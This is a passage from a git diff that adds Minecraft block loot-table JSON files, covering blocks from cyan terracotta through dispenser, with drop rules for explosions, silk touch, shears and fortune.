-0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/cyan_wool.json b/src/data/minecraft/loot_tables/blocks/cyan_wool.json new file mode 100644 index 00000000..c271da30 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/cyan_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cyan_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/damaged_anvil.json b/src/data/minecraft/loot_tables/blocks/damaged_anvil.json new file mode 100644 index 00000000..80e18631 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/damaged_anvil.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:damaged_anvil" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dandelion.json b/src/data/minecraft/loot_tables/blocks/dandelion.json new file mode 100644 index 00000000..5bb95bdb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dandelion.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dandelion" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_button.json b/src/data/minecraft/loot_tables/blocks/dark_oak_button.json new file mode 100644 index 00000000..0e2310ec --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_door.json b/src/data/minecraft/loot_tables/blocks/dark_oak_door.json new file mode 100644 index 00000000..5c0c3a42 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:dark_oak_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:dark_oak_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_fence.json b/src/data/minecraft/loot_tables/blocks/dark_oak_fence.json new file mode 100644 index 00000000..b57993e3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_fence_gate.json b/src/data/minecraft/loot_tables/blocks/dark_oak_fence_gate.json new file mode 100644 index 00000000..f8d43088 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_fence_gate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_leaves.json b/src/data/minecraft/loot_tables/blocks/dark_oak_leaves.json new file mode 100644 index 00000000..3339d38a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_leaves.json @@ -0,0 +1,182 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:dark_oak_leaves" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.05, + 0.0625, + 0.083333336, + 0.1 + ] + } + ], + "name": "minecraft:dark_oak_sapling" + } + ] + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.02, + 0.022222223, + 0.025, + 0.033333335, + 0.1 + ] + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stick" + } + ], + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.005, + 0.0055555557, + 0.00625, + 0.008333334, + 0.025 + ] + } + ], + "name": "minecraft:apple" + } + ], + "conditions": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_log.json b/src/data/minecraft/loot_tables/blocks/dark_oak_log.json new file mode 100644 index 00000000..de850aae --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_planks.json b/src/data/minecraft/loot_tables/blocks/dark_oak_planks.json new file mode 100644 index 00000000..d57ce4f9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_planks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_planks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/dark_oak_pressure_plate.json new file mode 100644 index 00000000..7a5cebb0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_sapling.json b/src/data/minecraft/loot_tables/blocks/dark_oak_sapling.json new file mode 100644 index 00000000..fe274db7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_sapling.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_sign.json b/src/data/minecraft/loot_tables/blocks/dark_oak_sign.json new file mode 100644 index 00000000..e5d87dfb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_sign.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_sign" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_slab.json b/src/data/minecraft/loot_tables/blocks/dark_oak_slab.json new file mode 100644 index 00000000..aa9a947c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:dark_oak_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:dark_oak_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_stairs.json b/src/data/minecraft/loot_tables/blocks/dark_oak_stairs.json new file mode 100644 index 00000000..a35c4be3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_trapdoor.json b/src/data/minecraft/loot_tables/blocks/dark_oak_trapdoor.json new file mode 100644 index 00000000..a9fb2857 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_oak_wood.json b/src/data/minecraft/loot_tables/blocks/dark_oak_wood.json new file mode 100644 index 00000000..66aa7201 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_oak_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_oak_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_prismarine.json b/src/data/minecraft/loot_tables/blocks/dark_prismarine.json new file mode 100644 index 00000000..f307aefe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_prismarine.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_prismarine" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_prismarine_slab.json b/src/data/minecraft/loot_tables/blocks/dark_prismarine_slab.json new file mode 100644 index 00000000..6f05b497 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_prismarine_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:dark_prismarine_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:dark_prismarine_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dark_prismarine_stairs.json b/src/data/minecraft/loot_tables/blocks/dark_prismarine_stairs.json new file mode 100644 index 00000000..3d72cfc6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dark_prismarine_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dark_prismarine_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/daylight_detector.json b/src/data/minecraft/loot_tables/blocks/daylight_detector.json new file mode 100644 index 00000000..dc94bd88 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/daylight_detector.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:daylight_detector" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_brain_coral.json b/src/data/minecraft/loot_tables/blocks/dead_brain_coral.json new file mode 100644 index 00000000..1b484dbc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_brain_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_brain_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_brain_coral_block.json b/src/data/minecraft/loot_tables/blocks/dead_brain_coral_block.json new file mode 100644 index 00000000..740eae04 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_brain_coral_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_brain_coral_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_brain_coral_fan.json b/src/data/minecraft/loot_tables/blocks/dead_brain_coral_fan.json new file mode 100644 index 00000000..e603596a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_brain_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_brain_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_bubble_coral.json b/src/data/minecraft/loot_tables/blocks/dead_bubble_coral.json new file mode 100644 index 00000000..074b0441 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_bubble_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_bubble_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_bubble_coral_block.json b/src/data/minecraft/loot_tables/blocks/dead_bubble_coral_block.json new file mode 100644 index 00000000..a4e76b69 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_bubble_coral_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_bubble_coral_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_bubble_coral_fan.json b/src/data/minecraft/loot_tables/blocks/dead_bubble_coral_fan.json new file mode 100644 index 00000000..30a15f15 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_bubble_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_bubble_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_bush.json b/src/data/minecraft/loot_tables/blocks/dead_bush.json new file mode 100644 index 00000000..5fb427c2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_bush.json @@ -0,0 +1,44 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ], + "name": "minecraft:dead_bush" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:stick" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_fire_coral.json b/src/data/minecraft/loot_tables/blocks/dead_fire_coral.json new file mode 100644 index 00000000..35f4a948 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_fire_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_fire_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_fire_coral_block.json b/src/data/minecraft/loot_tables/blocks/dead_fire_coral_block.json new file mode 100644 index 00000000..f51ed418 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_fire_coral_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_fire_coral_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_fire_coral_fan.json b/src/data/minecraft/loot_tables/blocks/dead_fire_coral_fan.json new file mode 100644 index 00000000..dc887fdf --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_fire_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_fire_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_horn_coral.json b/src/data/minecraft/loot_tables/blocks/dead_horn_coral.json new file mode 100644 index 00000000..526e0bf4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_horn_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_horn_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_horn_coral_block.json b/src/data/minecraft/loot_tables/blocks/dead_horn_coral_block.json new file mode 100644 index 00000000..d19e6472 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_horn_coral_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_horn_coral_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_horn_coral_fan.json b/src/data/minecraft/loot_tables/blocks/dead_horn_coral_fan.json new file mode 100644 index 00000000..7fec99de --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_horn_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_horn_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_tube_coral.json b/src/data/minecraft/loot_tables/blocks/dead_tube_coral.json new file mode 100644 index 00000000..f473c5ec --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_tube_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_tube_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_tube_coral_block.json b/src/data/minecraft/loot_tables/blocks/dead_tube_coral_block.json new file mode 100644 index 00000000..9231c306 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_tube_coral_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_tube_coral_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dead_tube_coral_fan.json b/src/data/minecraft/loot_tables/blocks/dead_tube_coral_fan.json new file mode 100644 index 00000000..96bc22b7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dead_tube_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dead_tube_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/detector_rail.json b/src/data/minecraft/loot_tables/blocks/detector_rail.json new file mode 100644 index 00000000..e1650aea --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/detector_rail.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:detector_rail" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/diamond_block.json b/src/data/minecraft/loot_tables/blocks/diamond_block.json new file mode 100644 index 00000000..489ba31b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/diamond_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:diamond_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/diamond_ore.json b/src/data/minecraft/loot_tables/blocks/diamond_ore.json new file mode 100644 index 00000000..6964aba6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/diamond_ore.json @@ -0,0 +1,48 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:diamond_ore" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:ore_drops" + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:diamond" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/diorite.json b/src/data/minecraft/loot_tables/blocks/diorite.json new file mode 100644 index 00000000..b95069dd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/diorite.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:diorite" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/diorite_slab.json b/src/data/minecraft/loot_tables/blocks/diorite_slab.json new file mode 100644 index 00000000..31245cbd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/diorite_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:diorite_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:diorite_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/diorite_stairs.json b/src/data/minecraft/loot_tables/blocks/diorite_stairs.json new file mode 100644 index 00000000..9b6232f9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/diorite_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:diorite_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/diorite_wall.json b/src/data/minecraft/loot_tables/blocks/diorite_wall.json new file mode 100644 index 00000000..f58c7e53 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/diorite_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:diorite_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dirt.json b/src/data/minecraft/loot_tables/blocks/dirt.json new file mode 100644 index 00000000..6ee2d52d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dirt.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dirt" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dispenser.json b/src/data/minecraft/loot_tables/blocks/dispenser.json new file mode 100644 index 00000000..9878dc06 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dispenser.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:dispenser" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git 